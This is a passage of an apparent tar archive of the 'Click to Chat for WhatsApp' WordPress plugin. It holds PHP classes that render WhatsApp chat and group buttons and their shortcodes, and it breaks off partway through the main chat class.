        $s_99_img_css .= "height: $s_99_desktop_img_height; ";
    }   else {
        $s_99_img_css .= "height: 50px; ";
    }
    
    if ( '' !== $s_99_desktop_img_width ) {
        $s_99_img_css .= "width: $s_99_desktop_img_width; ";
    }
}

// fallback image
if ( '' == $s_99_own_image ) {
    $s_99_own_image = plugins_url( './new/inc/assets/img/whatsapp-logo.svg', HT_CTC_PLUGIN_FILE );
}


$o .=  '
    <img class="own-img ctc-analytics ctc_cta" title="'.$call_to_action.'" id="style-99" src="'.$s_99_own_image.'" style="'.$s_99_img_css.'" alt="'.$call_to_action.'">
';click-to-chat-for-whatsapp/new/inc/group/class-ht-ctc-group.php000064400000014620147510273110020431 0ustar00<?php
/**
 * Group chat/invite feature - main page
 * 
 * @subpackage group
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Group' ) ) :

class HT_CTC_Group {

    public function __construct() {
        // $this->group();
    }

    public function group() {
        
        $options = get_option('ht_ctc_group');
        $othersettings = get_option('ht_ctc_othersettings');
        $type = "group";

        // If db values are not correct
		if ( !is_array($options)  || !isset($options['group_id']) ) {
            return;
        }

        $ht_ctc_group = array();
        $ht_ctc_os = array();

        // show/hide
        include HT_CTC_PLUGIN_DIR .'new/inc/commons/show-hide.php';

        if ( 'no' == $display ) {
            return;
        }

        // is mobile to select styles
        $is_mobile = ht_ctc()->device_type->is_mobile();

        // style
        $ht_ctc_group['style_desktop'] = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $ht_ctc_group['style_mobile'] = $ht_ctc_group['style_desktop'];
        } else {
            $ht_ctc_group['style_mobile'] = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        // position
        include HT_CTC_PLUGIN_DIR .'new/inc/commons/position-to-place.php';
        $ht_ctc_group['position'] = $position;
        $ht_ctc_group['position_mobile'] = $position_mobile;

        // call to action
        $ht_ctc_group['call_to_action'] = esc_attr( $options['call_to_action'] );
        $ht_ctc_group['call_to_action'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_group['call_to_action'], 'Click to Chat for WhatsApp', 'call_to_action__group' );

        // class names
        $ht_ctc_group['class_names'] = "ht-ctc ht-ctc-group ";

        $page_id = get_the_ID();

        // At page level
        $ht_ctc_pagelevel = get_post_meta( $page_id, 'ht_ctc_pagelevel', true );

        // group id
        $ht_ctc_group['group_id'] = (isset($ht_ctc_pagelevel['group_id'])) ? esc_attr($ht_ctc_pagelevel['group_id']) : esc_attr( $options['group_id'] );
        $ht_ctc_group['group_id'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_group['group_id'], 'Click to Chat for WhatsApp', 'group_id__group' );


        $ht_ctc_group['display_mobile'] = (isset($options['display_mobile'])) ? esc_attr($options['display_mobile']) : 'show';
        $ht_ctc_group['display_desktop'] = (isset($options['display_desktop'])) ? esc_attr($options['display_desktop']) : 'show';

        $zindex = (isset($othersettings['zindex'])) ? esc_attr($othersettings['zindex']) : '';
        $zindex = ('' == $zindex) ? '99999999' : $zindex;

        $ht_ctc_group['css'] = "display: none; cursor: pointer; z-index: $zindex;";

        // analytics
        $ht_ctc_os['is_ga_enable'] = 'yes';
        $ht_ctc_os['is_fb_pixel'] = 'yes';
        $ht_ctc_os['ga_ads'] = 'no';
        $ht_ctc_os['data-attributes'] = '';
        // show effect
        $ht_ctc_os['show_effect'] = '';
        $ht_ctc_os['class_names'] = '';

        // hooks
        $ht_ctc_group = apply_filters( 'ht_ctc_fh_group', $ht_ctc_group );
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );

        // style for desktop, mobile
        if ( 'yes' == $is_mobile ) {
            $ht_ctc_group['style'] = $ht_ctc_group['style_mobile'];
        } else {
            $ht_ctc_group['style'] = $ht_ctc_group['style_desktop'];
        }

        // @uses at styles / easy call (after filter hook)
        $style = $ht_ctc_group['style'];
        $style_desktop = $ht_ctc_group['style_desktop'];
        $style_mobile = $ht_ctc_group['style_mobile'];
        $call_to_action = $ht_ctc_group['call_to_action'];
        
        $other_classes = $ht_ctc_os['class_names'];

        $ht_ctc_group['class_names'] .= " style-$style $other_classes";

        if ( '' == $call_to_action ) {
            if ( '1' == $style || '4' == $style || '6' == $style || '8' == $style ) {
                $call_to_action = "WhatsApp Share";
            }
        }

        // call style
        $style = sanitize_file_name( $style );
        $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style. '.php';

        $style_desktop = sanitize_file_name( $style_desktop );
        $path_d = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_desktop. '.php';

        $style_mobile = sanitize_file_name( $style_mobile );
        $path_m = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_mobile. '.php';


        if ( is_file( $path ) ) {
            do_action('ht_ctc_ah_before_fixed_position');
            ?>
            <div class="<?= $ht_ctc_group['class_names'] ?>" 
                style="display: none;"
                data-return_type="<?= $type ?>" 
                data-group_id="<?= $ht_ctc_group['group_id'] ?>" 
                data-is_ga_enable="<?= $ht_ctc_os['is_ga_enable'] ?>" 
                data-is_fb_pixel="<?= $ht_ctc_os['is_fb_pixel'] ?>" 
                data-ga_ads="<?= $ht_ctc_os['ga_ads'] ?>" 
                data-display_mobile="<?= $ht_ctc_group['display_mobile'] ?>" 
                data-display_desktop="<?= $ht_ctc_group['display_desktop'] ?>" 
                data-css="<?= $ht_ctc_group['css'] ?>" 
                data-position="<?= $ht_ctc_group['position'] ?>" 
                data-position_mobile="<?= $ht_ctc_group['position_mobile'] ?>" 
                data-show_effect="<?= $ht_ctc_os['show_effect'] ?>" 
                <?= $ht_ctc_os['data-attributes'] ?>  
                >
                <?php 
                if ( isset( $options['select_styles_issue'] ) ) {
                    ?>
                    <div class="ht_ctc_desktop_group"><?php include $path_d; ?></div>
                    <div class="ht_ctc_mobile_group"><?php include $path_m; ?></div>
                    <?php
                } else {
                    include $path;
                }
                ?>
            </div>
            <?php
            do_action('ht_ctc_ah_after_fixed_position');
        }

        
    }

}

// new HT_CTC_Group();

$ht_ctc_group = new HT_CTC_Group();
add_action( 'wp_footer', array( $ht_ctc_group, 'group' ) );


endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/group/class-ht-ctc-group-shortcode.php000064400000014656147510273110022432 0ustar00<?php
/**
* shortcodes 
* for list of attribute support check  -> shortcode_atts ( $a )
*
* @package chat
* @since 2.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Group_Shortcode' ) ) :
    
class HT_CTC_Group_Shortcode {


    //  Register shortcode
    public function shortcodes_init() {
        add_shortcode( 'ht-ctc-group', array( $this, 'shortcode' ) );
    }

    // call back function - shortcode 
    public function shortcode( $atts = [], $content = null, $shortcode = '' ) {

        $options = get_option('ht_ctc_group');
        $ht_ctc_os = array();

        $group_id = esc_attr( $options['group_id'] );
        $call_to_action_db = esc_attr( $options['call_to_action'] );

        $group_id = __( $group_id , 'click-to-chat-for-whatsapp' );
        $call_to_action = __( $call_to_action_db , 'click-to-chat-for-whatsapp' );

        $style_desktop = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $style_mobile = $style_desktop;
        } else {
            $style_mobile = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        $is_mobile = ht_ctc()->device_type->is_mobile();

        $style = $style_desktop;
        if ( 'yes' == $is_mobile ) {
            $style = $style_mobile;
        }

        // $content = do_shortcode($content);

        // $ccw_options_cs = get_option('ccw_options_cs');
        //  use like  $ccw_options_cs['']
        
        $a = shortcode_atts(
            array(
                'group_id' => $group_id,
                'call_to_action' => $call_to_action,
                'style' => $style,
                
                'position' => '',
                'top' => '',
                'right' => '',
                'bottom' => '',
                'left' => '',
                'home' => '',  // home -  to hide on experts .. 
                'hide_mobile' => '',
                'hide_desktop' => '',
                // 'inline_issue' => '',

                's5_img_position' => '',  //left, right
                's5_img_url' => '',
                's5_line_2' => '',

                's8_width' => '',
                's8_icon_position' => '',  // left, right, hide
                
            ), $atts, $shortcode );
        // use like -  '.esc_attr($a["title"]).'   
        
        // group_id
        $group_id   = esc_attr($a["group_id"]);
    
        // hide on devices
        // if 'yes' then hide
        $hide_mobile = esc_attr($a["hide_mobile"]);
        $hide_desktop = esc_attr($a["hide_desktop"]);
        
        if( 'yes' == $is_mobile ) {
            if ( 'yes' == $hide_mobile ) {
                return;
            }
        } else {
            if ( 'yes' == $hide_desktop ) {
                return;
            }
        }
        
        $position   = esc_attr($a["position"]);
        $top        = esc_attr($a["top"]);
        $right      = esc_attr($a["right"]);
        $bottom     = esc_attr($a["bottom"]);
        $left       = esc_attr($a["left"]);
        
        $css = '';

        if ( '' !== $position ) {
            $css .= 'position:'.$position.';';
        }
        if ( '' !== $top ) {
            $css .= 'top:'.$top.';';
        }
        if ( '' !== $right ) {
            $css .= 'right:'.$right.';';
        }
        if ( '' !== $bottom ) {
            $css .= 'bottom:'.$bottom.';';
        }
        if ( '' !== $left ) {
            $css .= 'left:'.$left.';';
        }

        // to hide styles in home page
        $home       = esc_attr($a["home"]);

        // $position !== 'fixed' why !== to avoid double time adding display: none .. 
        if ( 'fixed' !== $position && 'hide' == $home && ( is_home() || is_category() || is_archive() ) ) {
                $css .= 'display:none;';
        }

        // By default position: fixed style hide on home screen, 
        // if plan to show, then add hide='show' ( actually something not equal to 'hide' )
        if ( 'fixed' == $position && 'show' !== $home &&  ( is_home() || is_category() || is_archive() ) ) {
            $css .= 'display:none;';
        }

        $link = "https://chat.whatsapp.com/$group_id";
        $return_type = "group";

        // call to action
        $call_to_action   = esc_attr($a["call_to_action"]);
        
        $style = esc_attr($a["style"]);
        
        $type = "group-sc";
        $class_names = "ht-ctc-sc ht-ctc-sc-group sc-style-$style";

        // analytics
        $ht_ctc_os['is_ga_enable'] = 'yes';
        $ht_ctc_os['is_fb_pixel'] = 'yes';
        $ht_ctc_os['ga_ads'] = 'no';
        $ht_ctc_os['data-attributes'] = '';
        $ht_ctc_os['class_names'] = '';
        
        // Hooks
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );


        $o = '';

        // shortcode template file path
        $style = sanitize_file_name( $style );
        $sc_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles-shortcode/sc-style-' . $style. '.php';

        if ( is_file( $sc_path ) ) {
            $o .= '<div data-ctc-link="'.$link.'" data-return_type="'.$return_type.'" data-group_id="'.$group_id.'" data-is_ga_enable="'.$ht_ctc_os['is_ga_enable'].'" data-is_fb_pixel="'.$ht_ctc_os['is_fb_pixel'].'" data-ga_ads="'.$ht_ctc_os['ga_ads'].'" style="display: inline; cursor: pointer; z-index: 99999999; '.$css.'" class="'.$class_names.' ht-ctc-inline">';
            include $sc_path;
            $o .= '</div>';
        } else {
            // if style is not in the list.. 
            $img_link = plugins_url("./new/inc/assets/img/whatsapp-logo.svg", HT_CTC_PLUGIN_FILE );
            $o .= '<div data-ctc-link="'.$link.'" data-return_type="'.$return_type.'" data-is_ga_enable="'.$ht_ctc_os['is_ga_enable'].'" data-is_fb_pixel="'.$ht_ctc_os['is_fb_pixel'].'" data-ga_ads="'.$ht_ctc_os['ga_ads'].'" style="display: inline; cursor: pointer; z-index: 99999999; '.$css.'" class="'.$class_names.' ht-ctc-inline">';
            $o .= '<img class="img-icon-sc sc_item pointer style-3-sc" src="'.$img_link.'" alt="'.$call_to_action.'" style="height: 50px; '.$css.' " >';
            $o .= '</div>';
        }

        return $o;
    }

}

$shortcode = new HT_CTC_Group_Shortcode();

add_action('init', array( $shortcode, 'shortcodes_init' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/chat/class-ht-ctc-chat-shortcode.php000064400000020647147510273110021775 0ustar00<?php
/**
* shortcodes 
* for list of attribute support check  -> shortcode_atts ( $a )
*
* @package chat
* @since 2.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Chat_Shortcode' ) ) :
    
class HT_CTC_Chat_Shortcode {

    //  Register shortcode
    public function shortcodes_init() {
        add_shortcode( 'ht-ctc-chat', array( $this, 'shortcode' ) );
    }

    // call back function - shortcode 
    public function shortcode( $atts = [], $content = null, $shortcode = '' ) {

        $options = get_option( 'ht_ctc_chat_options' );
        $ht_ctc_os = array();

        $call_to_action_db = esc_attr( $options['call_to_action'] );
        $pre_filled_db = esc_attr( $options['pre_filled'] );
        
        // @since 4.3 if shortcode number attribute is not added, global number will be used at js.
        // $number_db = (isset($options['number'])) ? esc_attr($options['number']) : '';
        // $number = __( $number_db , 'click-to-chat-for-whatsapp' );

        $call_to_action = __( $call_to_action_db , 'click-to-chat-for-whatsapp' );
        $pre_filled = __( $pre_filled_db , 'click-to-chat-for-whatsapp' );

        $style_desktop = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $style_mobile = $style_desktop;
        } else {
            $style_mobile = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        $is_mobile = ht_ctc()->device_type->is_mobile();

        $style = $style_desktop;
        if ( 'yes' == $is_mobile ) {
            $style = $style_mobile;
        }

        // if woocommerce single product page
        if ( function_exists( 'is_product' ) && function_exists( 'wc_get_product' )) {
            if ( is_product() ) {

                $product = wc_get_product();

                $name = $product->get_name();
                // $title = $product->get_title();
                $price = $product->get_price();
                $regular_price = $product->get_regular_price();
                $sku = $product->get_sku();

                // pre-filled
                if ( isset( $options['woo_pre_filled'] ) && '' !== $options['woo_pre_filled'] ) {
                    $pre_filled = esc_attr( $options['woo_pre_filled'] );
                    $pre_filled = apply_filters( 'wpml_translate_single_string', $pre_filled, 'Click to Chat for WhatsApp', 'woo_pre_filled' );
                }
                // variables now works in default pre_filled also
                $pre_filled = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $pre_filled );

                // call to action
                if ( isset( $options['woo_call_to_action'] ) && '' !== $options['woo_call_to_action'] ) {
                    $call_to_action = esc_attr( $options['woo_call_to_action'] );
                    $call_to_action = apply_filters( 'wpml_translate_single_string', $call_to_action, 'Click to Chat for WhatsApp', 'woo_call_to_action' );
                    $call_to_action = str_replace( array('{product}', '{price}', '{regular_price}', '{sku}' ),  array( $name, $price, $regular_price, $sku ), $call_to_action );
                }

            }
        }

        // $content = do_shortcode($content);

        // $ccw_options_cs = get_option('ccw_options_cs');
        //  use like  $ccw_options_cs['']
        
        $a = shortcode_atts(
            array(
                'number' => '',
                'call_to_action' => $call_to_action,
                'pre_filled' => $pre_filled,
                'style' => $style,
                
                'position' => '',
                'top' => '',
                'right' => '',
                'bottom' => '',
                'left' => '',
                'home' => '',  // home -  to hide on experts .. 
                'hide_mobile' => '',
                'hide_desktop' => '',
                
                's5_img_position' => '',  //left, right
                's5_img_url' => '',
                's5_line_2' => '',

                's8_width' => '',
                's8_icon_position' => '',  // left, right, hide
                
            ), $atts, $shortcode );
        // use like -  '.esc_attr($a["title"]).'   
        
        // number
        $number   = esc_attr($a["number"]);

        // if random number feature, this have to modify (ltrim, preg_replace)
        // $number = preg_replace('/[^0-9,\s]/', '', $number );
        $number = preg_replace('/\D/', '', $number );
        $number = ltrim( $number, '0' );

        // pre-filled text
        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        $pre_filled = esc_attr($a["pre_filled"]);
        $pre_filled = str_replace( array('{{url}}', '{url}', '{{title}}', '{title}', '{{site}}', '{site}' ),  array( $page_url, $page_url, $post_title, $post_title, HT_CTC_BLOG_NAME, HT_CTC_BLOG_NAME ), $pre_filled );

    
        // hide on devices
        // if 'yes' then hide
        $hide_mobile = esc_attr($a["hide_mobile"]);
        $hide_desktop = esc_attr($a["hide_desktop"]);
        
        if( 'yes' == $is_mobile ) {
            if ( 'yes' == $hide_mobile ) {
                return;
            }
        } else {
            if ( 'yes' == $hide_desktop ) {
                return;
            }
        }
        
        
        
        $position   = esc_attr($a["position"]);
        $top        = esc_attr($a["top"]);
        $right      = esc_attr($a["right"]);
        $bottom     = esc_attr($a["bottom"]);
        $left       = esc_attr($a["left"]);
        
        $css = '';

        if ( '' !== $position ) {
            $css .= 'position:'.$position.';';
        }
        if ( '' !== $top ) {
            $css .= 'top:'.$top.';';
        }
        if ( '' !== $right ) {
            $css .= 'right:'.$right.';';
        }
        if ( '' !== $bottom ) {
            $css .= 'bottom:'.$bottom.';';
        }
        if ( '' !== $left ) {
            $css .= 'left:'.$left.';';
        }

        // to hide styles in home, archive, category pages
        $home       = esc_attr($a["home"]);
        // $position !== 'fixed' why !== to avoid double time adding display: none .. 
        if ( 'fixed' !== $position && 'hide' == $home && ( is_home() || is_category() || is_archive() ) ) {
                $css .= 'display:none;';
        }
        // By default position: fixed style hide on home screen, 
        // if plan to show, then add hide='show' ( actually something not equal to 'hide' )
        if ( 'fixed' == $position && 'show' !== $home &&  ( is_home() || is_category() || is_archive() ) ) {
            $css .= 'display:none;';
        }

        $return_type = "chat";

        $style = esc_attr($a["style"]);
        $style = sanitize_file_name( $style );

        // call to action
        $call_to_action   = esc_attr($a["call_to_action"]);
        
        if ( '' == $call_to_action ) {
            if ( '1' == $style || '4' == $style || '6' == $style || '8' == $style ) {
                $call_to_action = "WhatsApp us";
            }
        }

        $type = "chat-sc";
        $class_names = "ht-ctc-sc ht-ctc-sc-chat sc-style-$style";

        // analytics
        $ht_ctc_os['data-attributes'] = '';
        $ht_ctc_os['class_names'] = '';
        
        // Hooks
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );

        $data_number = '';
        // if number not null, then add data-number attribute
        if ( '' !== $number ) {
            $data_number .= ' data-number="'.$number.'"';
        }


        $o = '';

        // shortcode template file path
        $sc_path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles-shortcode/sc-style-' . $style. '.php';

        if ( is_file( $sc_path ) ) {
            $o .= '<div '.$data_number.' data-pre_filled="'.$pre_filled.'" data-style="'.$style.'" style="display: inline; cursor: pointer; z-index: 99999999; '.$css.'" class="'.$class_names.' ht-ctc-inline">';
            include $sc_path;
            $o .= '</div>';
        }

        
        return $o;

    }


}


$shortcode = new HT_CTC_Chat_Shortcode();

add_action('init', array( $shortcode, 'shortcodes_init' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/inc/chat/class-ht-ctc-chat.php000064400000070703147510273110020003 0ustar00<?php
/**
 * WhatsApp Chat  - main page .. 
 * 
 * @subpackage chat
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Chat' ) ) :

class HT_CTC_Chat {


    public function __construct() {
        $this->hooks();
    }

    function hooks() {

        $othersettings = get_option('ht_ctc_othersettings');

        // wp_footer / wp_head / get_footer
        $chat_load_hook = ( isset( $othersettings['chat_load_hook'] ) ) ? esc_attr($othersettings['chat_load_hook']) : 'wp_footer';
        // chat load hook filter hook to change (after admin settings)
        $chat_load_hook = apply_filters( 'ht_ctc_chat_load_position', $chat_load_hook );

        add_action( "$chat_load_hook", [$this, 'chat'] );

    }


    /**
     * Chat
     * 
     * @var $display - changes at show-hide.php
     * 
     * @return breaks
     *  - if number is not saved.(atleast null)
     *  - if its editing area of page builders
     */
    public function chat() {
        
        do_action('ht_ctc_ah_start_the_chat');

        $options = get_option('ht_ctc_chat_options');
        $othersettings = get_option('ht_ctc_othersettings');
        $greetings = get_option('ht_ctc_greetings_options');
        $greetings_settings = get_option('ht_ctc_greetings_settings');
        $type = "chat";
        $is_editor = '';

        // If db values are not correct
		if ( !is_array($options)  || !isset($options['number']) ) {
            return;
        }
		

        $ht_ctc_chat = array();
        $ht_ctc_os = array();
        $ht_ctc_settings = array();

        // includes..
        include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-formatting.php';

        if ( class_exists( 'HT_CTC_Formatting' ) && method_exists( 'HT_CTC_Formatting', 'is_page_builder_editor' ) ) {
            $is_editor = HT_CTC_Formatting::is_page_builder_editor();
            if ( 'y' == $is_editor ) {
                return;
            }
        }

        /**
         * dont get page level settings if its an archive page..
         */
        $is_page_level_settings = 'yes';

        $page_id = get_the_ID();
        // $page_id = get_queried_object_id();

        // $object_id = get_queried_object_id();
        // if (0 == $object_id || '' == $object_id) {
        //     $page_id = get_the_ID();
        // } else {
        //     $page_id = $object_id;
        // }

        $page_url = get_permalink();
        $post_title = esc_html( get_the_title() );

        if ( is_home() || is_front_page() ) {
            // is home page
            $page_url = home_url('/');
            // if home page is a loop then return site name.. (instead of getting the last post title in that loop)
            $post_title = HT_CTC_BLOG_NAME;

            // if home page is a page then return page title.. (if not {site} and {title} will be same )
            if ( is_page() ) {
                $post_title = esc_html( get_the_title() );
            }
        } elseif ( is_singular() ) {
            // is singular
            $page_url = get_permalink();
            $post_title = esc_html( get_the_title() );
        } elseif ( is_archive() ) {

            //no page level settings for archive pages
            $is_page_level_settings = 'no';

            if ( isset($_SERVER['HTTP_HOST']) && $_SERVER['REQUEST_URI'] ) {
                $protocol = ( isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ) ? 'https' : 'http';
                $page_url = $protocol . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
            }

            if ( is_category() ) {
                $post_title = single_cat_title( '', false );
            } elseif ( is_tag() ) {
                $post_title = single_tag_title( '', false );
            } elseif ( is_author() ) {
                $post_title = get_the_author();
            } elseif ( is_post_type_archive() ) {
                $post_title = post_type_archive_title( '', false );
            } elseif ( function_exists( 'is_tax') && function_exists( 'single_term_title') && is_tax() ) {
                $post_title = single_term_title( '', false );
            } else {
                if ( function_exists('get_the_archive_title') ) {
                    $post_title = get_the_archive_title();
                }
            }

        }

        // is shop page
        if ( class_exists( 'WooCommerce' ) && function_exists( 'is_shop') && function_exists( 'wc_get_page_id') && is_shop() ) {
            $page_id = wc_get_page_id( 'shop' );
            $post_title = esc_html( get_the_title( $page_id ) );
        }

        // page level
        $ht_ctc_pagelevel = [];


        if ( 'no' !== $is_page_level_settings ) {
            $ht_ctc_pagelevel = get_post_meta( $page_id, 'ht_ctc_pagelevel', true );
        }

        /**
         * show/hide
         * $page_display - page level settings  - show/hide/ null
         * $display - global display settings - changes at - show-hide.php
         */
        $display = '';
        $page_display = (isset($ht_ctc_pagelevel['show_hide'])) ? esc_attr($ht_ctc_pagelevel['show_hide']) : '';

        if ( 'show' !== $page_display ) {
            include HT_CTC_PLUGIN_DIR .'new/inc/commons/show-hide.php';
        }


        // is mobile
        $is_mobile = ht_ctc()->device_type->is_mobile();
        // style
        $ht_ctc_chat['style_desktop'] = (isset($options['style_desktop'])) ? esc_attr($options['style_desktop']) : '2';
        if (isset($options['same_settings'])) {
            $ht_ctc_chat['style_mobile'] = $ht_ctc_chat['style_desktop'];
        } else {
            $ht_ctc_chat['style_mobile'] = (isset($options['style_mobile'])) ? esc_attr($options['style_mobile']) : '2';
        }

        // position
        // default position overwrite at js, but useful in amp pages
        $default_position = '';
        include HT_CTC_PLUGIN_DIR .'new/inc/commons/position-to-place.php';
        $ht_ctc_chat['position'] = $position;
        $ht_ctc_chat['position_mobile'] = $position_mobile;
        
        // number
        $ht_ctc_chat['number'] = (isset($options['number'])) ? esc_attr($options['number']) : '';
        $ht_ctc_chat['call_to_action'] = (isset($options['call_to_action'])) ? __(esc_attr($options['call_to_action']) , 'click-to-chat-for-whatsapp' ) : '';
        $ht_ctc_chat['pre_filled'] = (isset($options['pre_filled'])) ? __(esc_attr($options['pre_filled']) , 'click-to-chat-for-whatsapp' ) : '';

        // safe side action .. if number not saved in new method
        if ( '' == $ht_ctc_chat['number'] ) {
            $cc = (isset($options['cc'])) ? esc_attr($options['cc']) : '';
            $num = (isset($options['num'])) ? esc_attr($options['num']) : '';
            if ( '' !== $cc && '' !== $num ) {
                $ht_ctc_chat['number'] = $cc . $num;
            }
        }

        $ht_ctc_chat['number'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_chat['number'], 'Click to Chat for WhatsApp', 'number' );

        if ( isset($ht_ctc_pagelevel['number']) ) {
            $ht_ctc_chat['number'] = esc_attr($ht_ctc_pagelevel['number']);
        }

        // call to action
        $ht_ctc_chat['call_to_action'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_chat['call_to_action'], 'Click to Chat for WhatsApp', 'call_to_action' );

        if ( isset($ht_ctc_pagelevel['call_to_action']) ) {
            $ht_ctc_chat['call_to_action'] = esc_attr($ht_ctc_pagelevel['call_to_action']);
        }

        // prefilled text
        $ht_ctc_chat['pre_filled'] = apply_filters( 'wpml_translate_single_string', $ht_ctc_chat['pre_filled'], 'Click to Chat for WhatsApp', 'pre_filled' );

        if ( isset($ht_ctc_pagelevel['pre_filled']) ) {
            $ht_ctc_chat['pre_filled'] = esc_attr($ht_ctc_pagelevel['pre_filled']);
        }

        $ht_ctc_chat['url_target_d'] = ( isset( $options['url_target_d'] ) ) ? esc_attr($options['url_target_d']) : '_blank';
        $ht_ctc_chat['url_structure_d'] = ( isset( $options['url_structure_d'] ) ) ? esc_attr($options['url_structure_d']) : '';
        $ht_ctc_chat['url_structure_m'] = ( isset( $options['url_structure_m'] ) ) ? esc_attr($options['url_structure_m']) : '';

        // is intl input type is added
        if ( isset($options['intl']) ) {
            $ht_ctc_chat['intl'] = '1';
        }

        $ht_ctc_chat['display_mobile'] = (isset($options['display_mobile'])) ? esc_attr($options['display_mobile']) : 'show';
        $ht_ctc_chat['display_desktop'] = (isset($options['display_desktop'])) ? esc_attr($options['display_desktop']) : 'show';

        // number not added and is administrator
        $no_number = '';
        
        if ( '' == $ht_ctc_chat['number'] ) {
            $no_number = "<p style='background-color:#ffffff; margin:0; border:1px solid #fbfbfb; padding:7px; border-radius:4px; box-shadow:5px 10px 8px #888888;'>No WhatsApp Number Found!</p>";
            if ( current_user_can('administrator') ) {
                $admin_url = admin_url( 'admin.php?page=click-to-chat' );
                $admin_link = "<a href='$admin_url'>WhatsApp number</a>";
                $no_number = "<p style='background-color:#ffffff; margin:0; border:1px solid #fbfbfb; padding:11px; border-radius:4px; box-shadow:5px 10px 8px #888888;'>No WhatsApp Number Found!<br><small style='color:red;'>Admin Notice:<br></small><small>Add $admin_link at pluign Settings<br>If already added, <strong>clear the Cache</strong> and try.<br>If still an issue, please contact plugin developers</small></p>";
            }
        }

        // notification badge
        $ht_ctc_chat['notification_badge'] = (isset($othersettings['notification_badge'])) ? 'show' : 'hide';
        $ht_ctc_chat['notification_count'] = (isset($othersettings['notification_count'])) ? esc_attr($othersettings['notification_count']) : '1';
        
        
        $notification_time = (isset($othersettings['notification_time'])) ? esc_attr($othersettings['notification_time']) : '';
        $notification_bg_color = (isset($othersettings['notification_bg_color'])) ? esc_attr($othersettings['notification_bg_color']) : '#ff4c4c';
        $notification_text_color = (isset($othersettings['notification_text_color'])) ? esc_attr($othersettings['notification_text_color']) : '#ffffff';
        
        $notification_border_color = (isset($othersettings['notification_border_color'])) ? esc_attr($othersettings['notification_border_color']) : '';
        $notification_border = ('' !== $notification_border_color) ? "border:2px solid $notification_border_color;" : '' ;
        

        // class names
        $ht_ctc_chat['class_names'] = "ht-ctc ht-ctc-chat ctc-analytics";
        $ht_ctc_chat['id'] = "ht-ctc-chat";
        // schedule
        $ht_ctc_chat['schedule'] = 'no';

        $zindex = (isset($othersettings['zindex'])) ? esc_attr($othersettings['zindex']) : '';
        $zindex = ('' == $zindex) ? '99999999' : $zindex;

        $analytics = (isset($othersettings['analytics'])) ? esc_attr($othersettings['analytics']) : 'all';

        $ht_ctc_chat['css'] = "display: none; cursor: pointer; z-index: $zindex;";

        // analytics
        $ht_ctc_os['is_ga_enable'] = 'yes';
        $ht_ctc_os['is_fb_pixel'] = 'yes';
        $ht_ctc_os['ga_ads'] = 'no';
        $ht_ctc_os['data-attributes'] = '';
        // @since v3.3.5 new way of adding attributes [data-attributes]
        $ht_ctc_os['attributes'] = '';

        // class name related to animations..
        $ht_ctc_os['class_names'] = '';
        // show effect
        $ht_ctc_os['show_effect'] = '';
        $ht_ctc_os['an_type'] = '';



        // hooks
        $ht_ctc_chat = apply_filters( 'ht_ctc_fh_chat', $ht_ctc_chat );
        $ht_ctc_os = apply_filters( 'ht_ctc_fh_os', $ht_ctc_os );
        $ht_ctc_settings = apply_filters( 'ht_ctc_fh_settings', $ht_ctc_settings );

        // pre-filled  - have to run after filter hook. 
        $ht_ctc_chat['pre_filled'] = str_replace( array('{{url}}', '{url}', '{{title}}', '{title}', '{{site}}', '{site}' ),  array( $page_url, $page_url, $post_title, $post_title, HT_CTC_BLOG_NAME, HT_CTC_BLOG_NAME ), $ht_ctc_chat['pre_filled'] );

        // style for desktop, mobile
        if ( 'yes' == $is_mobile ) {
            $ht_ctc_chat['style'] = $ht_ctc_chat['style_mobile'];
            $wp_device = 'ctc_wp_mobile';
        } else {
            $ht_ctc_chat['style'] = $ht_ctc_chat['style_desktop'];
            $wp_device = 'ctc_wp_desktop';
        }

        // @uses at styles / easy call (after filter hook)
        $style = $ht_ctc_chat['style'];
        $style_desktop = $ht_ctc_chat['style_desktop'];
        $style_mobile = $ht_ctc_chat['style_mobile'];
        $call_to_action = $ht_ctc_chat['call_to_action'];

        $other_classes = $ht_ctc_os['class_names'];

        $ht_ctc_chat['class_names'] .= " $wp_device style-$style $other_classes ";

        // call style
        $style = sanitize_file_name( $style );
        $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style. '.php';
        
        $style_desktop = sanitize_file_name( $style_desktop );
